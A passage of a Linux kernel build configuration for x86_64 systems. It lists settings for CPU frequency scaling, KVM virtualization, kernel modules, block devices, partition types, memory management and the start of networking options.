CONFIG_CPU_FREQ_GOV_USERSPACE=y
CONFIG_CPU_FREQ_GOV_ONDEMAND=y
# CONFIG_CPU_FREQ_GOV_CONSERVATIVE is not set
CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y

#
# CPU frequency scaling drivers
#
# CONFIG_CPUFREQ_DT is not set
# CONFIG_CPUFREQ_DT_PLATDEV is not set
CONFIG_X86_INTEL_PSTATE=y
# CONFIG_X86_PCC_CPUFREQ is not set
CONFIG_X86_AMD_PSTATE=y
CONFIG_X86_AMD_PSTATE_DEFAULT_MODE=3
# CONFIG_X86_AMD_PSTATE_UT is not set
CONFIG_X86_ACPI_CPUFREQ=y
CONFIG_X86_ACPI_CPUFREQ_CPB=y
# CONFIG_X86_POWERNOW_K8 is not set
# CONFIG_X86_AMD_FREQ_SENSITIVITY is not set
# CONFIG_X86_SPEEDSTEP_CENTRINO is not set
# CONFIG_X86_P4_CLOCKMOD is not set

#
# shared options
#
CONFIG_CPUFREQ_ARCH_CUR_FREQ=y
# end of CPU Frequency scaling

#
# CPU Idle
#
CONFIG_CPU_IDLE=y
# CONFIG_CPU_IDLE_GOV_LADDER is not set
CONFIG_CPU_IDLE_GOV_MENU=y
# CONFIG_CPU_IDLE_GOV_TEO is not set
CONFIG_CPU_IDLE_GOV_HALTPOLL=y
CONFIG_HALTPOLL_CPUIDLE=y
# end of CPU Idle

CONFIG_INTEL_IDLE=y
# end of Power management and ACPI options

#
# Bus options (PCI etc.)
#
CONFIG_PCI_DIRECT=y
CONFIG_PCI_MMCONFIG=y
CONFIG_MMCONF_FAM10H=y
CONFIG_ISA_BUS=y
CONFIG_ISA_DMA_API=y
CONFIG_AMD_NB=y
CONFIG_AMD_NODE=y
# end of Bus options (PCI etc.)

#
# Binary Emulations
#
CONFIG_IA32_EMULATION=y
# CONFIG_IA32_EMULATION_DEFAULT_DISABLED is not set
CONFIG_X86_X32_ABI=y
CONFIG_COMPAT_32=y
CONFIG_COMPAT=y
CONFIG_COMPAT_FOR_U64_ALIGNMENT=y
# end of Binary Emulations

CONFIG_KVM_COMMON=y
CONFIG_HAVE_KVM_PFNCACHE=y
CONFIG_HAVE_KVM_IRQCHIP=y
CONFIG_HAVE_KVM_IRQ_ROUTING=y
CONFIG_HAVE_KVM_DIRTY_RING=y
CONFIG_HAVE_KVM_DIRTY_RING_TSO=y
CONFIG_HAVE_KVM_DIRTY_RING_ACQ_REL=y
CONFIG_KVM_MMIO=y
CONFIG_KVM_ASYNC_PF=y
CONFIG_HAVE_KVM_MSI=y
CONFIG_HAVE_KVM_READONLY_MEM=y
CONFIG_HAVE_KVM_CPU_RELAX_INTERCEPT=y
CONFIG_KVM_VFIO=y
CONFIG_KVM_GENERIC_DIRTYLOG_READ_PROTECT=y
CONFIG_KVM_GENERIC_PRE_FAULT_MEMORY=y
CONFIG_KVM_COMPAT=y
CONFIG_HAVE_KVM_IRQ_BYPASS=y
CONFIG_HAVE_KVM_NO_POLL=y
CONFIG_VIRT_XFER_TO_GUEST_WORK=y
CONFIG_HAVE_KVM_PM_NOTIFIER=y
CONFIG_KVM_GENERIC_HARDWARE_ENABLING=y
CONFIG_KVM_ELIDE_TLB_FLUSH_IF_YOUNG=y
CONFIG_KVM_MMU_LOCKLESS_AGING=y
CONFIG_KVM_GENERIC_MEMORY_ATTRIBUTES=y
CONFIG_KVM_GUEST_MEMFD=y
CONFIG_VIRTUALIZATION=y
CONFIG_KVM_X86=y
CONFIG_KVM=y
CONFIG_KVM_SW_PROTECTED_VM=y
CONFIG_KVM_INTEL=y
# CONFIG_KVM_INTEL_PROVE_VE is not set
CONFIG_X86_SGX_KVM=y
CONFIG_KVM_AMD=y
CONFIG_KVM_IOAPIC=y
CONFIG_KVM_SMM=y
CONFIG_KVM_HYPERV=y
CONFIG_KVM_XEN=y
CONFIG_KVM_PROVE_MMU=y
CONFIG_KVM_MAX_NR_VCPUS=1024
CONFIG_X86_REQUIRED_FEATURE_ALWAYS=y
CONFIG_X86_REQUIRED_FEATURE_NOPL=y
CONFIG_X86_REQUIRED_FEATURE_CX8=y
CONFIG_X86_REQUIRED_FEATURE_CMOV=y
CONFIG_X86_REQUIRED_FEATURE_CPUID=y
CONFIG_X86_REQUIRED_FEATURE_FPU=y
CONFIG_X86_REQUIRED_FEATURE_PAE=y
CONFIG_X86_REQUIRED_FEATURE_PSE=y
CONFIG_X86_REQUIRED_FEATURE_PGE=y
CONFIG_X86_REQUIRED_FEATURE_MSR=y
CONFIG_X86_REQUIRED_FEATURE_FXSR=y
CONFIG_X86_REQUIRED_FEATURE_XMM=y
CONFIG_X86_REQUIRED_FEATURE_XMM2=y
CONFIG_X86_REQUIRED_FEATURE_LM=y
CONFIG_X86_DISABLED_FEATURE_VME=y
CONFIG_X86_DISABLED_FEATURE_K6_MTRR=y
CONFIG_X86_DISABLED_FEATURE_CYRIX_ARR=y
CONFIG_X86_DISABLED_FEATURE_CENTAUR_MCR=y
CONFIG_X86_DISABLED_FEATURE_LAM=y
CONFIG_X86_DISABLED_FEATURE_XENPV=y
CONFIG_X86_DISABLED_FEATURE_TDX_GUEST=y
CONFIG_X86_DISABLED_FEATURE_SEV_SNP=y
CONFIG_AS_WRUSS=y
CONFIG_ARCH_CONFIGURES_CPU_MITIGATIONS=y

#
# General architecture-dependent options
#
CONFIG_HOTPLUG_SMT=y
CONFIG_ARCH_SUPPORTS_SCHED_SMT=y
CONFIG_ARCH_SUPPORTS_SCHED_CLUSTER=y
CONFIG_ARCH_SUPPORTS_SCHED_MC=y
CONFIG_SCHED_SMT=y
CONFIG_SCHED_CLUSTER=y
CONFIG_SCHED_MC=y
CONFIG_HOTPLUG_CORE_SYNC=y
CONFIG_HOTPLUG_CORE_SYNC_DEAD=y
CONFIG_HOTPLUG_CORE_SYNC_FULL=y
CONFIG_HOTPLUG_SPLIT_STARTUP=y
CONFIG_HOTPLUG_PARALLEL=y
CONFIG_GENERIC_IRQ_ENTRY=y
CONFIG_GENERIC_SYSCALL=y
CONFIG_GENERIC_ENTRY=y
CONFIG_ARCH_SUPPORTS_SYSCALL_USER_DISPATCH=y
CONFIG_SYSCALL_USER_DISPATCH=y
# CONFIG_KPROBES is not set
CONFIG_JUMP_LABEL=y
# CONFIG_STATIC_KEYS_SELFTEST is not set
# CONFIG_STATIC_CALL_SELFTEST is not set
CONFIG_UPROBES=y
CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y
CONFIG_ARCH_USE_BUILTIN_BSWAP=y
CONFIG_USER_RETURN_NOTIFIER=y
CONFIG_HAVE_IOREMAP_PROT=y
CONFIG_HAVE_KPROBES=y
CONFIG_HAVE_KRETPROBES=y
CONFIG_HAVE_OPTPROBES=y
CONFIG_HAVE_KPROBES_ON_FTRACE=y
CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y
CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y
CONFIG_HAVE_NMI=y
CONFIG_TRACE_IRQFLAGS_SUPPORT=y
CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
CONFIG_HAVE_DMA_CONTIGUOUS=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAS_FORTIFY_SOURCE=y
CONFIG_ARCH_HAS_SET_MEMORY=y
CONFIG_ARCH_HAS_SET_DIRECT_MAP=y
CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y
CONFIG_ARCH_HAS_DELAY_TIMER=y
CONFIG_ARCH_HAS_CPU_PASID=y
CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y
CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y
CONFIG_ARCH_WANTS_NO_INSTR=y
CONFIG_ARCH_MEMORY_ORDER_TSO=y
CONFIG_HAVE_ASM_MODVERSIONS=y
CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y
CONFIG_HAVE_RSEQ=y
CONFIG_HAVE_RUST=y
CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y
CONFIG_HAVE_HW_BREAKPOINT=y
CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y
CONFIG_HAVE_USER_RETURN_NOTIFIER=y
CONFIG_HAVE_PERF_EVENTS_NMI=y
CONFIG_HAVE_HARDLOCKUP_DETECTOR_PERF=y
CONFIG_UNWIND_USER=y
CONFIG_HAVE_UNWIND_USER_FP=y
CONFIG_HAVE_PERF_REGS=y
CONFIG_HAVE_PERF_USER_STACK_DUMP=y
CONFIG_HAVE_ARCH_JUMP_LABEL=y
CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y
CONFIG_MMU_GATHER_TABLE_FREE=y
CONFIG_MMU_GATHER_RCU_TABLE_FREE=y
CONFIG_MMU_GATHER_MERGE_VMAS=y
CONFIG_ARCH_WANT_IRQS_OFF_ACTIVATE_MM=y
CONFIG_MMU_LAZY_TLB_REFCOUNT=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_ARCH_HAVE_EXTRA_ELF_NOTES=y
CONFIG_ARCH_HAS_NMI_SAFE_THIS_CPU_OPS=y
CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y
CONFIG_HAVE_CMPXCHG_LOCAL=y
CONFIG_HAVE_CMPXCHG_DOUBLE=y
CONFIG_ARCH_WANT_COMPAT_IPC_PARSE_VERSION=y
CONFIG_ARCH_WANT_OLD_COMPAT_IPC=y
CONFIG_HAVE_ARCH_SECCOMP=y
CONFIG_HAVE_ARCH_SECCOMP_FILTER=y
CONFIG_SECCOMP=y
CONFIG_SECCOMP_FILTER=y
# CONFIG_SECCOMP_CACHE_DEBUG is not set
CONFIG_HAVE_ARCH_KSTACK_ERASE=y
CONFIG_HAVE_STACKPROTECTOR=y
CONFIG_STACKPROTECTOR=y
CONFIG_STACKPROTECTOR_STRONG=y
CONFIG_ARCH_SUPPORTS_LTO_CLANG=y
CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y
CONFIG_LTO_NONE=y
CONFIG_ARCH_SUPPORTS_CFI=y
CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y
CONFIG_HAVE_CONTEXT_TRACKING_USER=y
CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y
CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y
CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y
CONFIG_HAVE_PV_STEAL_CLOCK_GEN=y
CONFIG_HAVE_MOVE_PUD=y
CONFIG_HAVE_MOVE_PMD=y
CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y
CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE_PUD=y
CONFIG_HAVE_ARCH_HUGE_VMAP=y
CONFIG_HAVE_ARCH_HUGE_VMALLOC=y
CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y
CONFIG_ARCH_WANT_PMD_MKWRITE=y
CONFIG_HAVE_ARCH_SOFT_DIRTY=y
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_ARCH_HAS_EXECMEM_ROX=y
CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y
CONFIG_HAVE_SOFTIRQ_ON_OWN_STACK=y
CONFIG_SOFTIRQ_ON_OWN_STACK=y
CONFIG_ARCH_HAS_ELF_RANDOMIZE=y
CONFIG_HAVE_ARCH_MMAP_RND_BITS=y
CONFIG_HAVE_EXIT_THREAD=y
CONFIG_ARCH_MMAP_RND_BITS=28
CONFIG_HAVE_ARCH_MMAP_RND_COMPAT_BITS=y
CONFIG_ARCH_MMAP_RND_COMPAT_BITS=8
CONFIG_HAVE_ARCH_COMPAT_MMAP_BASES=y
CONFIG_HAVE_PAGE_SIZE_4KB=y
CONFIG_PAGE_SIZE_4KB=y
CONFIG_PAGE_SIZE_LESS_THAN_64KB=y
CONFIG_PAGE_SIZE_LESS_THAN_256KB=y
CONFIG_PAGE_SHIFT=12
CONFIG_HAVE_OBJTOOL=y
CONFIG_HAVE_JUMP_LABEL_HACK=y
CONFIG_HAVE_NOINSTR_HACK=y
CONFIG_HAVE_NOINSTR_VALIDATION=y
CONFIG_HAVE_UACCESS_VALIDATION=y
CONFIG_HAVE_STACK_VALIDATION=y
CONFIG_HAVE_RELIABLE_STACKTRACE=y
CONFIG_OLD_SIGSUSPEND3=y
CONFIG_COMPAT_OLD_SIGACTION=y
CONFIG_COMPAT_32BIT_TIME=y
CONFIG_ARCH_SUPPORTS_RT=y
CONFIG_HAVE_ARCH_VMAP_STACK=y
CONFIG_VMAP_STACK=y
CONFIG_HAVE_ARCH_RANDOMIZE_KSTACK_OFFSET=y
CONFIG_RANDOMIZE_KSTACK_OFFSET=y
# CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT is not set
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_STRICT_KERNEL_RWX=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_STRICT_MODULE_RWX=y
CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y
# CONFIG_LOCK_EVENT_COUNTS is not set
CONFIG_ARCH_HAS_MEM_ENCRYPT=y
CONFIG_HAVE_STATIC_CALL=y
CONFIG_HAVE_STATIC_CALL_INLINE=y
CONFIG_HAVE_PREEMPT_DYNAMIC=y
CONFIG_HAVE_PREEMPT_DYNAMIC_CALL=y
CONFIG_ARCH_WANT_LD_ORPHAN_WARN=y
CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y
CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y
CONFIG_ARCH_HAS_ELFCORE_COMPAT=y
CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y
CONFIG_DYNAMIC_SIGFRAME=y
CONFIG_HAVE_ARCH_NODE_DEV_GROUP=y
CONFIG_ARCH_HAS_HW_PTE_YOUNG=y
CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y
CONFIG_ARCH_HAS_KERNEL_FPU_SUPPORT=y
CONFIG_HAVE_GENERIC_TIF_BITS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y
# end of GCOV-based kernel profiling

CONFIG_HAVE_GCC_PLUGINS=y
CONFIG_FUNCTION_ALIGNMENT_4B=y
CONFIG_FUNCTION_ALIGNMENT_16B=y
CONFIG_FUNCTION_ALIGNMENT=16
CONFIG_CC_HAS_MIN_FUNCTION_ALIGNMENT=y
CONFIG_CC_HAS_SANE_FUNCTION_ALIGNMENT=y
CONFIG_ARCH_HAS_CPU_ATTACK_VECTORS=y
# end of General architecture-dependent options

CONFIG_RT_MUTEXES=y
CONFIG_MODULE_SIG_FORMAT=y
CONFIG_MODULES=y
# CONFIG_MODULE_DEBUG is not set
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODULE_UNLOAD_TAINT_TRACKING is not set
CONFIG_MODVERSIONS=y
# CONFIG_GENKSYMS is not set
CONFIG_GENDWARFKSYMS=y
CONFIG_ASM_MODVERSIONS=y
# CONFIG_EXTENDED_MODVERSIONS is not set
# CONFIG_BASIC_MODVERSIONS is not set
CONFIG_MODULE_SRCVERSION_ALL=y
CONFIG_MODULE_SIG=y
# CONFIG_MODULE_SIG_FORCE is not set
# CONFIG_MODULE_SIG_ALL is not set
CONFIG_MODULE_SIG_SHA256=y
# CONFIG_MODULE_SIG_SHA384 is not set
# CONFIG_MODULE_SIG_SHA512 is not set
# CONFIG_MODULE_SIG_SHA3_256 is not set
# CONFIG_MODULE_SIG_SHA3_384 is not set
# CONFIG_MODULE_SIG_SHA3_512 is not set
CONFIG_MODULE_SIG_HASH="sha256"
# CONFIG_MODULE_COMPRESS is not set
# CONFIG_MODULE_ALLOW_MISSING_NAMESPACE_IMPORTS is not set
CONFIG_MODPROBE_PATH="/sbin/modprobe"
# CONFIG_TRIM_UNUSED_KSYMS is not set
CONFIG_MODULES_TREE_LOOKUP=y
CONFIG_BLOCK=y
CONFIG_BLOCK_LEGACY_AUTOLOAD=y
CONFIG_BLK_RQ_ALLOC_TIME=y
CONFIG_BLK_CGROUP_RWSTAT=y
CONFIG_BLK_CGROUP_PUNT_BIO=y
CONFIG_BLK_DEV_BSG_COMMON=y
CONFIG_BLK_ICQ=y
CONFIG_BLK_DEV_BSGLIB=y
CONFIG_BLK_DEV_INTEGRITY=y
# CONFIG_BLK_DEV_WRITE_MOUNTED is not set
CONFIG_BLK_DEV_ZONED=y
CONFIG_BLK_DEV_THROTTLING=y
CONFIG_BLK_WBT=y
CONFIG_BLK_WBT_MQ=y
CONFIG_BLK_CGROUP_IOLATENCY=y
# CONFIG_BLK_CGROUP_FC_APPID is not set
CONFIG_BLK_CGROUP_IOCOST=y
CONFIG_BLK_CGROUP_IOPRIO=y
CONFIG_BLK_DEBUG_FS=y
# CONFIG_BLK_SED_OPAL is not set
CONFIG_BLK_INLINE_ENCRYPTION=y
CONFIG_BLK_INLINE_ENCRYPTION_FALLBACK=y

#
# Partition Types
#
CONFIG_PARTITION_ADVANCED=y
CONFIG_ACORN_PARTITION=y
CONFIG_ACORN_PARTITION_CUMANA=y
CONFIG_ACORN_PARTITION_EESOX=y
CONFIG_ACORN_PARTITION_ICS=y
CONFIG_ACORN_PARTITION_ADFS=y
CONFIG_ACORN_PARTITION_POWERTEC=y
CONFIG_ACORN_PARTITION_RISCIX=y
CONFIG_AIX_PARTITION=y
CONFIG_OSF_PARTITION=y
CONFIG_AMIGA_PARTITION=y
CONFIG_ATARI_PARTITION=y
CONFIG_MAC_PARTITION=y
CONFIG_MSDOS_PARTITION=y
CONFIG_BSD_DISKLABEL=y
CONFIG_MINIX_SUBPARTITION=y
CONFIG_SOLARIS_X86_PARTITION=y
CONFIG_UNIXWARE_DISKLABEL=y
CONFIG_LDM_PARTITION=y
# CONFIG_LDM_DEBUG is not set
CONFIG_SGI_PARTITION=y
CONFIG_ULTRIX_PARTITION=y
CONFIG_SUN_PARTITION=y
CONFIG_KARMA_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_SYSV68_PARTITION=y
CONFIG_CMDLINE_PARTITION=y
# CONFIG_OF_PARTITION is not set
# end of Partition Types

CONFIG_BLK_PM=y
CONFIG_BLOCK_HOLDER_DEPRECATED=y
CONFIG_BLK_MQ_STACKING=y
# CONFIG_BLK_ERROR_INJECTION is not set

#
# IO Schedulers
#
CONFIG_MQ_IOSCHED_DEADLINE=y
CONFIG_MQ_IOSCHED_KYBER=y
CONFIG_IOSCHED_BFQ=y
CONFIG_BFQ_GROUP_IOSCHED=y
CONFIG_BFQ_CGROUP_DEBUG=y
# end of IO Schedulers

CONFIG_PREEMPT_NOTIFIERS=y
CONFIG_PADATA=y
CONFIG_ASN1=y
CONFIG_UNINLINE_SPIN_UNLOCK=y
CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y
CONFIG_MUTEX_SPIN_ON_OWNER=y
CONFIG_RWSEM_SPIN_ON_OWNER=y
CONFIG_LOCK_SPIN_ON_OWNER=y
CONFIG_ARCH_USE_QUEUED_SPINLOCKS=y
CONFIG_QUEUED_SPINLOCKS=y
# CONFIG_QUEUED_SPINLOCKS_TRACE_CONTENDED_RELEASE is not set
CONFIG_ARCH_USE_QUEUED_RWLOCKS=y
CONFIG_QUEUED_RWLOCKS=y
CONFIG_ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE=y
CONFIG_ARCH_HAS_SYNC_CORE_BEFORE_USERMODE=y
CONFIG_ARCH_HAS_SYSCALL_WRAPPER=y
CONFIG_FREEZER=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_COMPAT_BINFMT_ELF=y
CONFIG_ELFCORE=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
CONFIG_BINFMT_SCRIPT=y
CONFIG_BINFMT_MISC=y
CONFIG_COREDUMP=y
# end of Executable file formats

#
# Memory Management options
#
CONFIG_SWAP=y
CONFIG_ZSWAP=y
CONFIG_ZSWAP_DEFAULT_ON=y
CONFIG_ZSWAP_SHRINKER_DEFAULT_ON=y
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_DEFLATE is not set
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_LZO is not set
CONFIG_ZSWAP_COMPRESSOR_DEFAULT_842=y
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_LZ4 is not set
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_LZ4HC is not set
# CONFIG_ZSWAP_COMPRESSOR_DEFAULT_ZSTD is not set
CONFIG_ZSWAP_COMPRESSOR_DEFAULT="842"
CONFIG_ZSMALLOC=y

#
# Zsmalloc allocator options
#

#
# Zsmalloc is a common backend allocator for zswap & zram
#
# CONFIG_ZSMALLOC_STAT is not set
CONFIG_ZSMALLOC_CHAIN_SIZE=8
# end of Zsmalloc allocator options

#
# Slab allocator options
#
CONFIG_SLUB=y
CONFIG_KVFREE_RCU_BATCHED=y
# CONFIG_SLUB_TINY is not set
CONFIG_SLAB_MERGE_DEFAULT=y
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SLAB_FREELIST_HARDENED is not set
# CONFIG_SLAB_BUCKETS is not set
# CONFIG_SLUB_STATS is not set
# CONFIG_KMALLOC_PARTITION_CACHES is not set
# end of Slab allocator options

# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set
# CONFIG_COMPAT_BRK is not set
CONFIG_SPARSEMEM=y
CONFIG_SPARSEMEM_EXTREME=y
CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y
CONFIG_SPARSEMEM_VMEMMAP=y
CONFIG_SPARSEMEM_VMEMMAP_PREINIT=y
CONFIG_ARCH_WANT_OPTIMIZE_DAX_VMEMMAP=y
CONFIG_ARCH_WANT_OPTIMIZE_HUGETLB_VMEMMAP=y
CONFIG_ARCH_WANT_HUGETLB_VMEMMAP_PREINIT=y
CONFIG_HAVE_GUP_FAST=y
CONFIG_NUMA_KEEP_MEMINFO=y
CONFIG_MEMORY_ISOLATION=y
CONFIG_EXCLUSIVE_SYSTEM_RAM=y
CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y
CONFIG_MEMORY_HOTPLUG=y
# CONFIG_MHP_DEFAULT_ONLINE_TYPE_OFFLINE is not set
CONFIG_MHP_DEFAULT_ONLINE_TYPE_ONLINE_AUTO=y
# CONFIG_MHP_DEFAULT_ONLINE_TYPE_ONLINE_KERNEL is not set
# CONFIG_MHP_DEFAULT_ONLINE_TYPE_ONLINE_MOVABLE is not set
CONFIG_MEMORY_HOTREMOVE=y
CONFIG_MHP_MEMMAP_ON_MEMORY=y
CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y
CONFIG_SPLIT_PTE_PTLOCKS=y
CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y
CONFIG_SPLIT_PMD_PTLOCKS=y
CONFIG_BALLOON=y
# CONFIG_BALLOON_MIGRATION is not set
CONFIG_COMPACTION=y
CONFIG_COMPACT_UNEVICTABLE_DEFAULT=1
CONFIG_PAGE_REPORTING=y
CONFIG_NUMA_MIGRATION=y
CONFIG_MIGRATION=y
CONFIG_DEVICE_MIGRATION=y
CONFIG_ARCH_ENABLE_HUGEPAGE_MIGRATION=y
CONFIG_ARCH_HAS_PMD_SOFTLEAVES=y
CONFIG_CONTIG_ALLOC=y
CONFIG_PCP_BATCH_SCALE_MAX=5
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_MMU_NOTIFIER=y
CONFIG_KSM=y
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y
# CONFIG_MEMORY_FAILURE is not set
CONFIG_ARCH_WANT_GENERAL_HUGETLB=y
CONFIG_ARCH_WANTS_THP_SWAP=y
# CONFIG_PERSISTENT_HUGE_ZERO_FOLIO is not set
CONFIG_MM_ID=y
CONFIG_TRANSPARENT_HUGEPAGE=y
# CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS is not set
CONFIG_TRANSPARENT_HUGEPAGE_MADVISE=y
# CONFIG_TRANSPARENT_HUGEPAGE_NEVER is not set
# CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_NEVER is not set
# CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_ALWAYS is not set
# CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_WITHIN_SIZE is not set
CONFIG_TRANSPARENT_HUGEPAGE_SHMEM_HUGE_ADVISE=y
# CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_NEVER is not set
# CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_ALWAYS is not set
# CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_WITHIN_SIZE is not set
CONFIG_TRANSPARENT_HUGEPAGE_TMPFS_HUGE_ADVISE=y
CONFIG_THP_SWAP=y
# CONFIG_NO_PAGE_MAPCOUNT is not set
CONFIG_PAGE_MAPCOUNT=y
CONFIG_PGTABLE_HAS_HUGE_LEAVES=y
CONFIG_HAVE_GIGANTIC_FOLIOS=y
CONFIG_ASYNC_KERNEL_PGTABLE_FREE=y
CONFIG_ARCH_SUPPORTS_HUGE_PFNMAP=y
CONFIG_ARCH_SUPPORTS_PMD_PFNMAP=y
CONFIG_ARCH_SUPPORTS_PUD_PFNMAP=y
CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y
CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y
CONFIG_USE_PERCPU_NUMA_NODE_ID=y
CONFIG_HAVE_SETUP_PER_CPU_AREA=y
CONFIG_CMA=y
# CONFIG_CMA_DEBUGFS is not set
# CONFIG_CMA_SYSFS is not set
CONFIG_CMA_AREAS=20
CONFIG_PAGE_BLOCK_MAX_ORDER=10
CONFIG_MEM_SOFT_DIRTY=y
CONFIG_GENERIC_EARLY_IOREMAP=y
# CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set
CONFIG_PAGE_IDLE_FLAG=y
# CONFIG_IDLE_PAGE_TRACKING is not set
CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y
CONFIG_ARCH_HAS_CURRENT_STACK_POINTER=y
CONFIG_ARCH_HAS_ZONE_DMA_SET=y
CONFIG_ZONE_DMA=y
CONFIG_ZONE_DMA32=y
CONFIG_ZONE_DEVICE=y
CONFIG_HMM_MIRROR=y
CONFIG_GET_FREE_REGION=y
CONFIG_DEVICE_PRIVATE=y
CONFIG_VMAP_PFN=y
CONFIG_ARCH_USES_HIGH_VMA_FLAGS=y
CONFIG_ARCH_HAS_PKEYS=y
CONFIG_ARCH_USES_PG_ARCH_2=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PERCPU_STATS=y
# CONFIG_GUP_TEST is not set
# CONFIG_DMAPOOL_TEST is not set
CONFIG_ARCH_HAS_PTE_SPECIAL=y
CONFIG_MAPPING_DIRTY_HELPERS=y
CONFIG_KMAP_LOCAL=y
CONFIG_MEMFD_CREATE=y
CONFIG_SECRETMEM=y
CONFIG_ANON_VMA_NAME=y
CONFIG_HAVE_ARCH_USERFAULTFD_WP=y
CONFIG_HAVE_ARCH_USERFAULTFD_MINOR=y
CONFIG_USERFAULTFD_RWP=y
CONFIG_USERFAULTFD=y
# CONFIG_PTE_MARKER_UFFD_WP is not set
CONFIG_LRU_GEN=y
CONFIG_LRU_GEN_ENABLED=y
# CONFIG_LRU_GEN_STATS is not set
CONFIG_LRU_GEN_WALKS_MMU=y
CONFIG_ARCH_SUPPORTS_PER_VMA_LOCK=y
CONFIG_PER_VMA_LOCK=y
CONFIG_LOCK_MM_AND_FIND_VMA=y
CONFIG_IOMMU_MM_DATA=y
CONFIG_EXECMEM=y
CONFIG_NUMA_MEMBLKS=y
CONFIG_NUMA_EMU=y
CONFIG_ARCH_HAS_USER_SHADOW_STACK=y
CONFIG_PT_RECLAIM=y

#
# Data Access Monitoring
#
CONFIG_DAMON=y
# CONFIG_DAMON_DEBUG_SANITY is not set
CONFIG_DAMON_VADDR=y
CONFIG_DAMON_PADDR=y
# CONFIG_DAMON_SYSFS is not set
CONFIG_DAMON_RECLAIM=y
# CONFIG_DAMON_LRU_SORT is not set
# CONFIG_DAMON_STAT is not set
# end of Data Access Monitoring
# end of Memory Management options

CONFIG_NET=y
CONFIG_WANT_COMPAT_NETLINK_MESSAGES=y
CONFIG_COMPAT_NETLINK_MESSAGES=y
CONFIG_NET_INGRESS=y
CONFIG_NET_EGRESS=y
CONFIG_NET_XGRESS=y
CONFIG_NET_REDIRECT=y
CONFIG_SKB_DECRYPTED=y
CONFIG_SKB_EXTENSIONS=y
CONFIG_NET_DEVMEM=y
CONFIG_NET_SHAPER=y
CONFIG_NET_CRC32C=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_DIAG=y
CONFIG_INET_PSP=y
CONFIG_UNIX=y
CONFIG_AF_UNIX_OOB=y
CONFIG_UNIX_DIAG=y
CONFIG_TLS=y
CONFIG_TLS_DEVICE=y
CONFIG_XFRM=y
CONFIG_XFRM_OFFLOAD=y
CONFIG_XFRM_ALGO=y
CONFIG_XFRM_USER=y
CONFIG_XFRM_USER_COMPAT=y
CONFIG_XFRM_INTERFACE=y
CONFIG_XFRM_SUB_POLICY=y
CONFIG_XFRM_MIGRATE=y
CONFIG_XFRM_STATISTICS=y
CONFIG_XFRM_AH=y
CONFIG_XFRM_ESP=y
CONFIG_XFRM_IPCOMP=y
